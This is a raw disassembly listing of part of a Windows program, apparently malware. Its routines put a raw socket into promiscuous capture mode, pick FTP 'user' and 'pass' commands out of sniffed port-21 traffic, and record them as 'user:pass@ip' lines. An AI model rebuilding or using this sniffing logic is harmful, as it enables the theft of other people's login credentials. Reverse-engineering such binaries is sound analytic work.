sub_408DA2	proc near		; CODE XREF: sub_401F3E+14p
					; sub_408F07+16p

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		jmp	short loc_408DB1
; ---------------------------------------------------------------------------


loc_408DA6:				; CODE XREF: sub_408DA2+11j
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short locret_408DB5
		mov	eax, [eax+8]


loc_408DB1:				; CODE XREF: sub_408DA2+2j
		test	eax, eax
		jnz	short loc_408DA6

locret_408DB5:				; CODE XREF: sub_408DA2+Aj
		retn	4
sub_408DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DB8	proc near		; CODE XREF: sub_40939B+31p

var_34		= dword	ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	edi, 0FFFFh
		push	edi
		mov	[ebp+var_10], ecx
		call	sub_40D0BB
		xor	esi, esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_C], esi
		mov	[esp+34h+var_34], 10000h
		call	sub_40D0BB
		pop	ecx
		push	esi
		push	1
		push	2
		mov	ebx, eax
		call	ds:dword_4181D0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_408E20


loc_408E00:				; CODE XREF: sub_408DB8+B4j
		cmp	ebx, esi
		jz	short loc_408E0B


loc_408E04:				; CODE XREF: sub_408DB8+DAj
					; sub_408DB8+F4j ...
		push	ebx


loc_408E05:				; CODE XREF: sub_408DB8+12Ej
		call	sub_40D0B6
		pop	ecx


loc_408E0B:				; CODE XREF: sub_408DB8+4Aj
		cmp	[ebp+var_4], esi
		jz	short loc_408E19
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx


loc_408E19:				; CODE XREF: sub_408DB8+56j
		xor	al, al
		jmp	loc_408F02
; ---------------------------------------------------------------------------


loc_408E20:				; CODE XREF: sub_408DB8+46j
		push	10h
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		call	sub_40CCD9
		add	esp, 0Ch
		push	925h
		mov	[ebp+var_24], 2
		call	ds:dword_4181E8
		push	esi
		push	esi
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	edi, ds:dword_4181E0
		push	ebx
		push	esi
		push	esi
		push	48000016h
		push	[ebp+var_8]
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408E6E
		push	[ebp+var_8]
		call	ds:dword_4181E4
		jmp	short loc_408E00
; ---------------------------------------------------------------------------


loc_408E6E:				; CODE XREF: sub_408DB8+A9j
		mov	eax, [ebx]
		cmp	eax, esi
		mov	ecx, [ebx+4]
		jle	short loc_408E87
		add	ecx, 4


loc_408E7A:				; CODE XREF: sub_408DB8+CDj
		mov	edx, [ecx]
		dec	eax
		add	ecx, 10h
		cmp	eax, esi
		mov	[ebp+var_20], edx
		jg	short loc_408E7A


loc_408E87:				; CODE XREF: sub_408DB8+BDj
		push	[ebp+var_8]
		call	ds:dword_4181E4
		cmp	[ebx], esi
		jz	loc_408E04
		push	esi
		push	3
		push	2
		call	ds:dword_4181D0
		cmp	eax, 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	[ecx+1Ch], eax
		jz	loc_408E04
		push	10h
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		call	ds:dword_41819C
		cmp	eax, 0FFFFFFFFh
		jz	loc_408E04
		push	esi
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		push	esi
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		push	98000001h
		push	dword ptr [eax+1Ch]
		call	edi
		test	eax, eax
		push	ebx
		jnz	loc_408E05
		call	sub_40D0B6
		cmp	[ebp+var_4], esi
		pop	ecx
		jz	short loc_408F00
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx


loc_408F00:				; CODE XREF: sub_408DB8+13Dj
		mov	al, 1


loc_408F02:				; CODE XREF: sub_408DB8+63j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408DB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F07	proc near		; CODE XREF: sub_401FF5+EEp
					; sub_402512+A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebx, [esi+4]
		push	ebx
		call	ds:dword_4180DC
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		mov	ecx, esi
		call	sub_408DA2
		test	eax, eax
		jz	short loc_408F41
		mov	ecx, [eax+4]
		mov	edx, [esp+0Ch+arg_4]
		mov	[eax+4], edx
		mov	esi, ecx


loc_408F32:				; CODE XREF: sub_408F07+61j
		push	ebx
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_408F41:				; CODE XREF: sub_408F07+1Dj
		push	10h
		call	sub_40D0BB
		pop	ecx
		mov	[eax], edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	[eax+4], ecx
		and	dword ptr [eax+0Ch], 0
		mov	ecx, [esi]
		mov	[eax+8], ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_408F64
		mov	[ecx+0Ch], eax


loc_408F64:				; CODE XREF: sub_408F07+58j
		mov	[esi], eax
		xor	esi, esi
		jmp	short loc_408F32
sub_408F07	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F6A	proc near		; CODE XREF: sub_409170+176p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		xor	ebx, ebx
		call	sub_401F3E
		test	eax, eax
		jnz	short loc_408FB4
		push	esi
		push	8
		call	sub_40D0BB
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408F95
		mov	ecx, eax
		call	sub_408D67
		mov	esi, eax
		jmp	short loc_408F97
; ---------------------------------------------------------------------------


loc_408F95:				; CODE XREF: sub_408F6A+1Ej
		xor	esi, esi


loc_408F97:				; CODE XREF: sub_408F6A+29j
		mov	eax, [esp+0Ch+arg_4]
		push	ebx
		push	dword ptr [eax]
		mov	ecx, esi
		call	sub_40DB5E
		push	esi
		push	[esp+10h+arg_0]
		mov	ecx, edi
		call	sub_408F07
		mov	bl, 1
		pop	esi


loc_408FB4:				; CODE XREF: sub_408F6A+11j
		pop	edi
		mov	al, bl
		pop	ebx
		retn	8
sub_408F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408FBB	proc near		; CODE XREF: sub_409170+1E5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	[esp+8+arg_0]
		mov	esi, ecx
		xor	ebx, ebx
		call	sub_401F3E
		test	eax, eax
		jz	short loc_408FFF
		push	edi
		lea	edi, [esi+34h]
		push	edi
		call	ds:dword_4180DC
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401F3E
		mov	ecx, [esp+0Ch+arg_4]
		push	ebx
		push	dword ptr [ecx]
		add	eax, 4
		mov	ecx, eax
		call	sub_40DB5E
		push	edi
		mov	bl, 1
		call	ds:dword_4180E0
		pop	edi


loc_408FFF:				; CODE XREF: sub_408FBB+11j
		pop	esi
		mov	al, bl
		pop	ebx
		retn	8
sub_408FBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409006	proc near		; CODE XREF: sub_403DE0+46p
					; sub_409128+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, ecx
		lea	eax, [ebx+34h]
		push	esi
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_4180DC
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, ebx
		call	sub_408761
		mov	esi, [ebp+var_4]
		test	esi, esi
		jz	short loc_40905E
		push	edi


loc_40902F:				; CODE XREF: sub_409006+55j
		test	esi, esi
		jz	short loc_409038
		mov	edi, [esi+4]
		jmp	short loc_40903A
; ---------------------------------------------------------------------------


loc_409038:				; CODE XREF: sub_409006+2Bj
		xor	edi, edi


loc_40903A:				; CODE XREF: sub_409006+30j
		test	edi, edi
		jz	short loc_40904C
		mov	ecx, edi
		call	sub_408D7B
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_40904C:				; CODE XREF: sub_409006+36j
		mov	edi, [esi+8]
		push	esi
		mov	ecx, ebx
		call	sub_401DB5
		test	edi, edi
		mov	esi, edi
		jnz	short loc_40902F
		pop	edi


loc_40905E:				; CODE XREF: sub_409006+26j
		push	[ebp+var_8]
		call	ds:dword_4180E0
		pop	esi
		pop	ebx
		leave
		retn
sub_409006	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40906B	proc near		; CODE XREF: sub_403DE0+15p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	4
		mov	esi, ecx
		call	sub_40D0BB
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		jz	short loc_40908F
		mov	ecx, eax
		call	sub_40DB48
		mov	ebx, eax
		jmp	short loc_409091
; ---------------------------------------------------------------------------


loc_40908F:				; CODE XREF: sub_40906B+17j
		xor	ebx, ebx


loc_409091:				; CODE XREF: sub_40906B+22j
		lea	eax, [esi+34h]
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_4180DC
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_408761
		jmp	short loc_409111
; ---------------------------------------------------------------------------


loc_4090AB:				; CODE XREF: sub_40906B+ABj
		cmp	eax, edi
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		jz	short loc_4090B9
		mov	esi, [eax+4]
		jmp	short loc_4090BB
; ---------------------------------------------------------------------------


loc_4090B9:				; CODE XREF: sub_40906B+47j
		xor	esi, esi


loc_4090BB:				; CODE XREF: sub_40906B+4Cj
		push	edi
		push	dword ptr [esi]
		mov	ecx, ebx
		call	sub_40DBA2
		push	edi
		push	offset asc_41BFF0 ; ":"
		mov	ecx, ebx
		call	sub_40DBA2
		push	edi
		push	dword ptr [esi+4]
		mov	ecx, ebx
		call	sub_40DBA2
		push	edi
		push	offset a@	; "@"
		mov	ecx, ebx
		call	sub_40DBA2
		push	edi
		push	[ebp+var_8]
		call	ds:dword_4181AC
		push	eax
		mov	ecx, ebx
		call	sub_40DBA2
		push	edi
		push	offset asc_418210 ; "\n"
		mov	ecx, ebx
		call	sub_40DBA2
		lea	ecx, [ebp+var_4]
		call	sub_404CFB


loc_409111:				; CODE XREF: sub_40906B+3Ej
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jnz	short loc_4090AB
		push	[ebp+var_C]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_40906B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409128	proc near		; CODE XREF: sub_403C35+Cp
					; sub_403C53+15p
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+30h]
		call	ds:dword_4180A8
		lea	ecx, [esi+20h]
		call	sub_40B150
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_40914B
		push	eax
		call	ds:dword_4181E4


loc_40914B:				; CODE XREF: sub_409128+1Aj
		mov	ecx, esi
		call	sub_409006
		mov	edi, ds:dword_4180D8
		lea	eax, [esi+34h]
		push	eax
		call	edi
		push	dword ptr [esi+30h]
		call	ds:dword_4180A4
		add	esi, 4
		push	esi
		call	edi
		pop	edi
		pop	esi
		retn
sub_409128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409170	proc near		; DATA XREF: sub_40939B+3Do

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	10000h
		mov	[ebp+var_4], edi
		call	sub_40D0BB
		push	11h
		mov	ebx, eax
		call	sub_40D0BB
		push	0FFFFh
		xor	esi, esi
		push	esi
		push	ebx
		mov	[ebp+var_8], eax
		call	sub_40CCD9
		add	esp, 14h
		jmp	loc_409367
; ---------------------------------------------------------------------------


loc_4091B1:				; CODE XREF: sub_409170+205j
		mov	eax, [edi+1Ch]
		mov	[ebp+var_1020],	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_1024]
		push	eax
		push	esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], 64h
		mov	[ebp+var_1024],	1
		call	ds:dword_4181A4
		test	eax, eax
		jle	loc_409364
		push	0FFFFh
		push	esi
		push	ebx
		call	sub_40CCD9
		add	esp, 0Ch
		push	0FFFFh
		push	ebx
		mov	ecx, edi
		call	sub_408D2A
		test	eax, eax
		jle	loc_409364
		cmp	byte ptr [ebx+9], 6
		jnz	loc_409364
		movzx	eax, byte ptr [ebx]
		and	eax, 0Fh
		lea	edi, [ebx+eax*4]
		movsx	ax, byte ptr [edi]
		movsx	cx, byte ptr [edi+1]
		shl	ax, 8
		add	ax, cx
		movsx	cx, byte ptr [edi+3]
		movzx	eax, ax
		mov	[ebp+var_18], eax
		movsx	ax, byte ptr [edi+2]
		shl	ax, 8
		add	ax, cx
		push	10h
		movzx	eax, ax
		push	esi
		push	[ebp+var_8]
		mov	[ebp+var_14], eax
		call	sub_40CCD9
		add	esp, 0Ch
		cmp	word ptr [ebp+var_18], 15h
		jz	short loc_40926E
		cmp	word ptr [ebp+var_14], 15h
		jnz	loc_409364


loc_40926E:				; CODE XREF: sub_409170+F1j
		movzx	esi, byte ptr [edi+0Ch]
		shr	esi, 2
		add	esi, edi
		mov	al, [esi]
		test	al, al
		jz	loc_409362
		movsx	eax, al
		push	eax
		call	sub_40CF0C
		cmp	eax, 75h
		pop	ecx
		jnz	short loc_4092F0
		movsx	eax, byte ptr [esi+1]
		push	eax
		call	sub_40CF0C
		cmp	eax, 73h
		pop	ecx
		jnz	short loc_4092F0
		movsx	eax, byte ptr [esi+2]
		push	eax
		call	sub_40CF0C
		cmp	eax, 65h
		pop	ecx
		jnz	short loc_4092F0
		movsx	eax, byte ptr [esi+3]
		push	eax
		call	sub_40CF0C
		cmp	eax, 72h
		pop	ecx
		jnz	short loc_4092F0
		cmp	byte ptr [esi+4], 20h
		jnz	short loc_4092F0
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_408D40
		mov	edi, [ebx+10h]
		add	esi, 5
		push	esi
		lea	ecx, [ebp+var_10]
		call	sub_40DCEB
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	sub_408F6A
		lea	ecx, [ebp+var_10]
		jmp	short loc_40935D
; ---------------------------------------------------------------------------


loc_4092F0:				; CODE XREF: sub_409170+11Ej
					; sub_409170+12Ej ...
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40CF0C
		cmp	eax, 70h
		pop	ecx
		jnz	short loc_409362
		movsx	eax, byte ptr [esi+1]
		push	eax
		call	sub_40CF0C
		cmp	eax, 61h
		pop	ecx
		jnz	short loc_409362
		movsx	eax, byte ptr [esi+2]
		push	eax
		call	sub_40CF0C
		cmp	eax, 73h
		pop	ecx
		jnz	short loc_409362
		movsx	eax, byte ptr [esi+3]
		push	eax
		call	sub_40CF0C
		cmp	eax, 73h
		pop	ecx
		jnz	short loc_409362
		cmp	byte ptr [esi+4], 20h
		jnz	short loc_409362
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_408D40
		mov	edi, [ebx+10h]
		add	esi, 5
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_40DCEB
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		call	sub_408FBB
		lea	ecx, [ebp+var_C]


loc_40935D:				; CODE XREF: sub_409170+17Ej
		call	sub_40DB59


loc_409362:				; CODE XREF: sub_409170+10Bj
					; sub_409170+18Dj ...
		xor	esi, esi


loc_409364:				; CODE XREF: sub_409170+74j
					; sub_409170+98j ...
		mov	edi, [ebp+var_4]


loc_409367:				; CODE XREF: sub_409170+3Cj
		push	1
		push	esi
		push	dword ptr [edi+30h]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_4091B1
		cmp	[ebp+var_8], esi
		jz	short loc_409389
		push	[ebp+var_8]
		call	sub_40D0B6
		pop	ecx


loc_409389:				; CODE XREF: sub_409170+20Ej
		cmp	ebx, esi
		jz	short loc_409394
		push	ebx
		call	sub_40D0B6
		pop	ecx


loc_409394:				; CODE XREF: sub_409170+21Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_409170	endp


; =============== S U B	R O U T	I N E =======================================



sub_40939B	proc near		; CODE XREF: sub_403CCB+C6p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_408D8E
		lea	esi, [edi+20h]
		xor	ebx, ebx
		push	1
		lea	ecx, [edi+30h]
		mov	[esi+0Ch], ebx
		mov	[esi+8], ebx
		mov	[esi+4], ebx
		call	sub_4012FC
		lea	eax, [edi+34h]
		push	eax
		call	ds:dword_4180D4
		mov	ecx, edi
		mov	[edi+1Ch], ebx
		call	sub_408DB8
		test	al, al
		jz	short loc_4093EA
		push	ebx
		mov	ecx, esi
		mov	dword ptr [esi+0Ch], offset sub_409170
		mov	[esi+8], edi
		mov	[esi+4], ebx
		call	sub_40174B


loc_4093EA:				; CODE XREF: sub_40939B+38j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40939B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093F0	proc near		; CODE XREF: sub_402BDD+23j
					; sub_4068A2+6Dp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_409403
		push	eax
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_409403:				; CODE XREF: sub_4093F0+7j
		pop	esi
		retn
sub_4093F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_409405	proc near		; CODE XREF: sub_40951B+29p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+10h]
		call	sub_4093F0
		lea	ecx, [esi+4]
		call	sub_40DB59
		mov	ecx, esi
		pop	esi
		jmp	sub_40DB59
sub_409405	endp


; =============== S U B	R O U T	I N E =======================================



sub_409420	proc near		; CODE XREF: sub_409588+91p
		push	esi
		mov	esi, ecx
		call	sub_40DB48
		lea	ecx, [esi+4]
		call	sub_40DB48
		and	dword ptr [esi+10h], 0
		mov	eax, esi
		pop	esi
		retn
sub_409420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409438	proc near		; DATA XREF: .rdata:off_41821Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ebx, [edi+0Ch]
		push	ebx
		mov	[ebp+var_4], ebx
		call	ds:dword_4180DC
		xor	esi, esi
		cmp	[edi+8], esi
		jbe	short loc_40946F


loc_409455:				; CODE XREF: sub_409438+35j
		mov	eax, [edi+4]
		push	[ebp+arg_0]
		lea	eax, [eax+esi*4]
		mov	ecx, [eax]
		call	sub_401ABD
		test	al, al
		jnz	short loc_409472
		inc	esi
		cmp	esi, [edi+8]
		jb	short loc_409455


loc_40946F:				; CODE XREF: sub_409438+1Bj
		push	ebx
		jmp	short loc_4094D9
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_409438+2Fj
		mov	ebx, esi
		mov	esi, [edi+4]
		shl	ebx, 2
		add	esi, ebx
		call	sub_40CF34
		mov	ecx, [esi]
		mov	ecx, [ecx+0Ch]
		dec	ecx
		imul	eax, ecx
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		mov	ecx, [edi+4]
		mov	ecx, [ebx+ecx]
		mov	esi, eax
		mov	eax, [ecx+10h]
		mov	ecx, [ecx+4]
		shl	esi, 2
		mov	eax, [esi+eax]
		jmp	short loc_4094B2
; ---------------------------------------------------------------------------


loc_4094A8:				; CODE XREF: sub_409438+80j
		cmp	dl, 0Ah
		jz	short loc_4094BA
		test	dl, dl
		jz	short loc_4094BA
		inc	eax


loc_4094B2:				; CODE XREF: sub_409438+6Ej
		mov	dl, [ecx+eax]
		cmp	dl, 0Dh
		jnz	short loc_4094A8


loc_4094BA:				; CODE XREF: sub_409438+73j
					; sub_409438+77j
		mov	ecx, [edi+4]
		mov	ebx, [ebx+ecx]
		mov	ecx, [ebx+10h]
		add	ecx, esi
		sub	eax, [ecx]
		push	eax
		mov	eax, [ebx+4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_40DB5E
		push	[ebp+var_4]


loc_4094D9:				; CODE XREF: sub_409438+38j
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_409438	endp


; =============== S U B	R O U T	I N E =======================================



sub_4094E6	proc near		; CODE XREF: sub_409570+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		push	edi
		jz	short loc_40950D
		mov	edi, [esp+8+arg_0]
		mov	ecx, edi
		shl	ecx, 2
		push	ecx
		push	eax
		call	sub_40CA55
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409516
		mov	[esi+4], edi
		mov	[esi], eax
		jmp	short loc_409516
; ---------------------------------------------------------------------------


loc_40950D:				; CODE XREF: sub_4094E6+8j
		push	[esp+8+arg_0]
		call	sub_406B7C


loc_409516:				; CODE XREF: sub_4094E6+1Ej
					; sub_4094E6+25j
		pop	edi
		pop	esi
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40951B	proc near		; CODE XREF: sub_402400+F8p
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebp, [esi+0Ch]
		push	ebp
		mov	dword ptr [esi], offset	off_41821C
		call	ds:dword_4180DC
		xor	edi, edi
		cmp	[esi+8], edi
		jbe	short loc_409557
		push	ebx


loc_409538:				; CODE XREF: sub_40951B+39j
		mov	eax, [esi+4]
		mov	ebx, [eax+edi*4]
		test	ebx, ebx
		jz	short loc_409550
		mov	ecx, ebx
		call	sub_409405
		push	ebx
		call	sub_40D0B6
		pop	ecx


loc_409550:				; CODE XREF: sub_40951B+25j
		inc	edi
		cmp	edi, [esi+8]
		jb	short loc_409538
		pop	ebx


loc_409557:				; CODE XREF: sub_40951B+1Aj
		push	ebp
		call	ds:dword_4180E0
		push	ebp
		call	ds:dword_4180D8
		pop	edi
		lea	ecx, [esi+4]
		pop	esi
		pop	ebp
		jmp	sub_401F70
sub_40951B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_402512+B0p
					; sub_409588+A4p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_4094E6
		mov	eax, [esi+4]
		mov	ecx, [esi]
		lea	eax, [ecx+eax*4-4]
		pop	esi
		retn
sub_409570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409588	proc near		; CODE XREF: sub_401B10+24p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	edi
		push	eax
		mov	[ebp+var_10], eax
		call	ds:dword_4180DC
		mov	edi, [esi+8]
		xor	ebx, ebx
		test	edi, edi
		mov	[ebp+var_1], 0
		jbe	short loc_4095CF


loc_4095AD:				; CODE XREF: sub_409588+3Dj
		mov	eax, [esi+4]
		push	[ebp+arg_0]
		lea	eax, [eax+ebx*4]
		mov	ecx, [eax]
		call	sub_401ABD
		test	al, al
		jnz	short loc_4095C9
		inc	ebx
		cmp	ebx, [esi+8]
		jb	short loc_4095AD
		jmp	short loc_4095CF
; ---------------------------------------------------------------------------


loc_4095C9:				; CODE XREF: sub_409588+37j
		mov	[ebp+var_1], 1
		mov	edi, ebx


loc_4095CF:				; CODE XREF: sub_409588+23j
					; sub_409588+3Fj
		mov	ecx, [ebp+arg_4]
		mov	al, [ecx]
		and	[ebp+var_8], 0
		test	al, al
		jz	short loc_4095F0


loc_4095DC:				; CODE XREF: sub_409588+60j
		cmp	al, 0Ah
		jnz	short loc_4095E3
		inc	[ebp+var_8]


loc_4095E3:				; CODE XREF: sub_409588+56j
		inc	ecx
		mov	al, [ecx]
		test	al, al
		jnz	short loc_4095DC
		cmp	[ebp+var_8], 1
		jge	short loc_409605


loc_4095F0:				; CODE XREF: sub_409588+52j
		or	esi, 0FFFFFFFFh


loc_4095F3:				; CODE XREF: sub_409588+17Ej
		push	[ebp+var_10]
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409605:				; CODE XREF: sub_409588+66j
		cmp	[ebp+var_1], 0
		jnz	short loc_409643
		push	14h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_409623
		mov	ecx, eax
		call	sub_409420
		mov	[ebp+var_C], eax
		jmp	short loc_409627
; ---------------------------------------------------------------------------


loc_409623:				; CODE XREF: sub_409588+8Dj
		and	[ebp+var_C], 0


loc_409627:				; CODE XREF: sub_409588+99j
		lea	ebx, [esi+4]
		mov	ecx, ebx
		call	sub_409570
		mov	ecx, [ebp+var_C]
		push	[ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebx]
		mov	ecx, [eax+edi*4]
		call	sub_4012E7


loc_409643:				; CODE XREF: sub_409588+81j
		mov	eax, [esi+4]
		push	[ebp+arg_4]
		shl	edi, 2
		mov	ecx, [eax+edi]
		add	ecx, 4
		call	sub_4012E7
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		push	4
		inc	eax
		pop	edx
		mul	edx
		seto	cl
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40D0BB
		pop	ecx
		push	eax
		mov	eax, [esi+4]
		mov	ecx, [eax+edi]
		add	ecx, 10h
		call	sub_408034
		mov	eax, [esi+4]
		mov	eax, [eax+edi]
		mov	ecx, [ebp+arg_8]
		and	[ebp+arg_8], 0
		mov	[eax+8], ecx
		mov	eax, [esi+4]
		mov	eax, [eax+edi]
		mov	eax, [eax+10h]
		and	dword ptr [eax], 0
		mov	eax, [esi+4]
		mov	eax, [eax+edi]
		xor	ecx, ecx
		inc	ecx
		mov	[eax+0Ch], ecx
		mov	eax, [esi+4]
		mov	eax, [eax+edi]
		mov	eax, [eax+4]
		cmp	byte ptr [eax],	0
		jz	short loc_409704
		mov	[ebp+arg_4], ecx
		sub	[ebp+arg_4], eax
		mov	[ebp+arg_0], eax


loc_4096BE:				; CODE XREF: sub_409588+177j
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_4096F3
		mov	ecx, [ebp+arg_8]
		cmp	byte ptr [ecx+eax+1], 0
		jz	short loc_4096F3
		mov	ecx, [esi+4]
		mov	ecx, [ecx+edi]
		mov	edx, [ecx+0Ch]
		lea	ebx, [edx+1]
		mov	[ecx+0Ch], ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, ebx
		mov	ebx, [esi+4]
		mov	ebx, [ebx+edi]
		mov	ebx, [ebx+10h]
		mov	[ebx+edx*4], ecx


loc_4096F3:				; CODE XREF: sub_409588+13Cj
					; sub_409588+146j
		inc	[ebp+arg_8]
		inc	[ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0
		jnz	short loc_4096BE
		xor	ecx, ecx
		inc	ecx


loc_409704:				; CODE XREF: sub_409588+12Bj
		mov	esi, ecx
		jmp	loc_4095F3
sub_409588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40970B	proc near		; CODE XREF: sub_40A582+33p
					; sub_40A7E2+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		movzx	dx, byte ptr [eax]
		movzx	edx, dx
		inc	eax
		mov	[ecx], eax
		mov	[ebp+arg_0], edx
		movzx	dx, byte ptr [eax]
		shl	dx, 8
		add	word ptr [ebp+arg_0], dx
		inc	eax
		mov	[ecx], eax
		mov	ax, word ptr [ebp+arg_0]
		pop	ebp
		retn
sub_40970B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409735	proc near		; CODE XREF: sub_40A582+28p
					; sub_40B9D7+12Cp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, [ecx]
		movzx	eax, byte ptr [edx]
		inc	edx
		mov	[ecx], edx
		shl	eax, 8
		push	esi
		movzx	esi, byte ptr [edx]
		add	eax, esi
		inc	edx
		mov	[ecx], edx
